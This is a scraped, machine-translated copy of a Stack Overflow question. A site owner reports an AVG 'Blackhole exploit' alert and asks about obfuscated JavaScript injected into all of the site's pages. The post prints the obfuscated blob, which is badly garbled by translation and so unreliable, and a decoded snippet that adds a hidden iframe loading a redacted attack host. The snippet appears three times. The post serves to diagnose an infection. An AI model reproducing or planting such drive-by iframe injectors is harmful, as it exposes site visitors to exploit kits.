Warning: file_get_contents(/data/phpspider/zhask/data//catemap/5/actionscript-3/7.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript &引用;“黑洞开发”;来自AVG网站的通知_Javascript_Virus - Fatal编程技术网

Javascript &引用;“黑洞开发”;来自AVG网站的通知

Javascript &引用;“黑洞开发”;来自AVG网站的通知,javascript,virus,Javascript,Virus,我有一个我为一个亲戚运行的网站,他们的AVG上写着“利用黑洞利用”之类的话。这似乎发生在网站被感染的时候,我认为它被感染了。我在所有的页面上都找到了这行代码,但我没有把它放在那里:(是的,这都是一行) b=new function(){return 2;};if(!+b)String.prototype.test='harC';如果(i=='te'+'st')m=$[i];试试{new Object().wehweh();}catch(q){ss=”“;}试试{window['e'+'v'+'a

我有一个我为一个亲戚运行的网站,他们的AVG上写着“利用黑洞利用”之类的话。这似乎发生在网站被感染的时候,我认为它被感染了。我在所有的页面上都找到了这行代码,但我没有把它放在那里:(是的,这都是一行)


b=new function(){return 2;};if(!+b)String.prototype.test='harC';如果(i=='te'+'st')m=$[i];试试{new Object().wehweh();}catch(q){ss=”“;}试试{window['e'+'v'+'al']('asdas')}catch(q){s=String['fr'+'omC'+m+'od'+'e'];}d=new Date();d2=新日期(d.valueOf()-2);Object.prototype.asd='e';如果({}.asd==='e')a=document['c'+'r'+'e'+'a'+'t'+'e'+'t'+'e'+'x'+'t'+'N'+'o'+'d'+'e']('321');如果(a.data==321)x=-1*(d-d2);n=(x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+98、、、、、、x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+114、、、x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+113 x+121,-x+7,-x+7,-x+7,-x+103,-x+100,-x+112,-x+95,-(x+x+x+x+x+x+x+x+x+x+x+39、、x+x+39、、x+x+x+7、、x+x+123、、x+x+x+x+x+x+x+x+x+x+x+x+7、x+x+x+7、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、37,-x+102,-x+114,-x+114,-x+110,-x+56,-x+45,-x+45(x+x+10,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,x+102,-x+114,-x+59,-x+37,-x+47,-x+46,-x+(x)x+++x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+37、x+x+x+x+x+x+116,,,(x+x+116,,,,,(x+x+x+x+x+x+x+x+x+x+x+x+x+59,,,,(x+x+59,,,,,,(x+x+59,,,,,,,,,(x+x+x+37,,,,,,,,,,,(x+x+x+x+x+x+11,,,,,,,,,,,,(,(,(x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+10,,,,,,,,,,,(x+x+x+x+x+x+x+x+x+x+x+x+x x+114,-x+56,-x+46,-x+57,-x+114,-(x+x+45、x+45、、x+45、x+45、x+45、、x+45、x+45、x+x+x+x+10、x+45、x+x+103、x+103、x+100、x+100、x+100、x+x+x+x+x+x+10、、、、、、、、、、、、、、、、、、、、、、+7、、、、、+7、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、95,-x+112,-x+30,-x+100,-x+30,-x+59,-x+30,-x+98,-x+(x+x+97、x+x+x+9 9、x+97、x+x+x+9、、x+x+97、、x+x+x+97、、x+x+x+x+112、x+x+112、x+x+9、x+x+9 9、、、x+x+x+108、、x+x+108、、、、x+x+x+103、、、x+103、、、x+100、、、x+100、+112、、+112、、、、、、、+x+x+x+x+x+x+112、、、、、、、++++x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x++++++++++++++++++++++++++++++++++++x+x、、、、、、、、、x+113,-x+112,-x+97,-x+37,-x+42,-x+37,-x+(x+45、x+45、x+45、x+45、x+45、x+x+x+x+x+x+x+10、x+44、x+44、x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+10、、、x+x+x+x+44、x+x+44、x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+97、x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+116,-x+103,-x+113,-x+103,-x+96-(x+x+10十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十、、、、、、十十十十十十十十十十十十十十十十十十十十十十、、、、、十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十、、、、、十十十十十十十十十十十十十十十十十十十十十十十十十十十十119,-x+106,-x+99,-x+44,-x+106,-x+99,-(x+x+10十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十十、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、47,-x+46,-x+37,-x+39,-x+57,-x+100,-x+44-(x+x+x+x+x+x+x+x+x+x+x+x+x+114,,,,(x+x+x+x+x+x+x+96,,(x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+x+114,,,,,(x+114,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,99,-x+108,-x+114,-x+113,-x+64,-x+119,-x+82,-x+95,-x+101,-x+76,-x+95,-x+107,-x+99,-x+38,-x+37,-x+96,-x+109,-x+98,-x+119,-x+37,-x+39,-x+89,-x+46,-x+91,-x+44,-x+95,-x+110,-x+99,-x+108,-x+98,-x+102,-x+103,-x+106,-x+98,-x+38,-x+100,-x+39,-x+57,-x+7,-x+7,-x+123];对于(i=0,-x+95,-x+110,-x+110,-x+99,-x+108,-x+123),这里的计算公式为:

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://xxxxxxx/sutra/in.cgi?default' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://xxxxx/sutra/in.cgi?default');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}
if(document.getElementsByTagName('body')[0]){
iframer();
}否则{
文件。填写(“”);
}
函数iframer(){
var f=document.createElement('iframe');
f、 setAttribute('src','http://xxxxx/sutra/in.cgi?default');
f、 style.visibility='hidden';
f、 style.position='绝对';
f、 style.left='0';
f、 style.top='0';
f、 setAttribute('width','10');
f、 setAttribute('height','10');
document.getElementsByTagName('body')[0].appendChild(f);
}

为了防止进一步的损坏,我对实际主机名进行了模糊处理。在该页面中,另一个半模糊javascript将浏览器重定向到同一主机上的另一个页面,这可能会迫使访问者浏览器下载某些内容。我没有继续按照代码到达最终目的地。谢谢你们,我的question现在得到了回答。@Paul我们还有很多其他的堆栈交换站点,这可能是一个更好的机会,您应该查看它们并熟悉它们。@Mat:将其作为一个答案发布-它很清楚并且很好地回答了这个问题。@Nightfirecat:这不是一个答案,Mat发布的完全正确(作为评论)。仅指向外部网站的链接不是答案;如果外部网站关闭或消失,答案将无效。答案应独立,以便保持可用性;如果外部链接添加了更多信息,则完全可以。干得好,Mat.:)
if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("<iframe src='http://xxxxxxx/sutra/in.cgi?default' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://xxxxx/sutra/in.cgi?default');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}